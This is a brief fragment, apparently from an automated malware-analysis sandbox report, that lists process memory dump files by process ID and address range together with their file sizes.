5.6MB
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memory/3360-0-0x0000000000690000-0x00000000006FC000-memory.dmpFilesize
432KB
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memory/3360-7-0x0000000006420000-0x000000000645C000-memory.dmpFilesize
240KB
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memory/3360-6-0x0000000005ED0000-0x0000000005EE2000-memory.dmpFilesize
72KB
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memory/3360-5-0x00000000052C0000-0x0000000005326000-memory.dmpFilesize
408KB
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memory/3360-3-0x0000000005220000-0x00000000052B2000-memory.dmpFilesize
584KB
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memory/4356-13-0x0000000074FE0000-0x0000000075791000-memory.dmpFilesize
7.7MB
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memory/4356-57-0x0000000074FE0000-0x0000000075791000-memory.dmpFilesize
7.7MB
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memory/4356-80-0x0000000004BE0000-0x0000000004BF0000-memory.dmpFilesize
64KB
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memory/4356-14-0x0000000004BE0000-0x0000000004BF0000-memory.dmpFilesize
64KB
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memory/4356-16-0x0000000006140000-0x000000000614A000-memory.dmpFilesize
40KB
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memory/4356-217-0x0000000074FE0000-0x0000000075791000-memory.dmpFilesize
7.7MB